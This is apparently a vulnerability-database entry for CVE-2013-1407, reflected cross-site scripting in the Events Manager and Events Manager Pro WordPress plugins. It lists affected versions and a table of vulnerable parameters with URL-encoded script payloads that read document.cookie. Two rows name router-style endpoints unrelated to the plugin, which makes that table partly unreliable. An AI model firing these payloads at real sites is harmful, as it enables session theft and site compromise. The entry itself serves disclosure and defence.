Lucene search
K

CVE-2013-1407

🗓️ 13 May 2014 14:00:00Reported by mitreType 
cve
 cve
🔗 web.nvd.nist.gov👁 50 Views🌐 WEB

XSS vulnerabilities in Events Manager and Events Manager Pro plugins for WordPress (CVE-2013-1407)

Related
Detection
Refs
Paths
NVD
Node
netweblogicevents_managerRange5.3.4---wordpress
OR
netweblogicevents_managerMatch5.3---wordpress
OR
netweblogicevents_managerMatch5.3.1---wordpress
OR
netweblogicevents_managerMatch5.3.2---wordpress
OR
netweblogicevents_managerMatch5.3.2.1---wordpress
OR
netweblogicevents_managerMatch5.3.3---wordpress
Node
netweblogicevents_manager_proRange2.2.7---wordpress
OR
netweblogicevents_manager_proMatch2.2---wordpress
OR
netweblogicevents_manager_proMatch2.2.1---wordpress
OR
netweblogicevents_manager_proMatch2.2.2---wordpress
OR
netweblogicevents_manager_proMatch2.2.3---wordpress
OR
netweblogicevents_manager_proMatch2.2.4---wordpress
OR
netweblogicevents_manager_proMatch2.2.5---wordpress
OR
netweblogicevents_manager_proMatch2.2.6---wordpress
OR
netweblogicevents_manager_proMatch2.2.8---wordpress
ParameterPositionPathDescriptionCWE
scopequery param/?page_id=42&scope=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E,%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3EXSS via scope parameter in index.phpCWE-79
_wpnoncequery param/wp-admin/edit.php?post_type=event&page=events-manager-bookings&_wpnonce=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3EXSS via _wpnonce parameter in wp-admin/edit.phpCWE-79
user_namequery param/?event=1&user_name=%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3EXSS via user_name parameter in index.phpCWE-79
dbem_phonequery param/?event=1&dbem_phone=%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3EXSS via dbem_phone parameter in index.phpCWE-79
user_emailquery param/?event=1&user_email=%27%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3EXSS via user_email parameter in index.phpCWE-79
booking_commentrequest body/?event=1XSS via booking_comment parameter in index.php (POST)CWE-79
submit-urlquery param/goform/formWlSiteSurveyXSS via submit-url parameter in goform/formWlSiteSurveyCWE-79
wlan-urlquery param/goform/formWlanSetupXSS via wlan-url parameter in goform/formWlanSetupCWE-79

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jun 2026 23:51Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.02058
50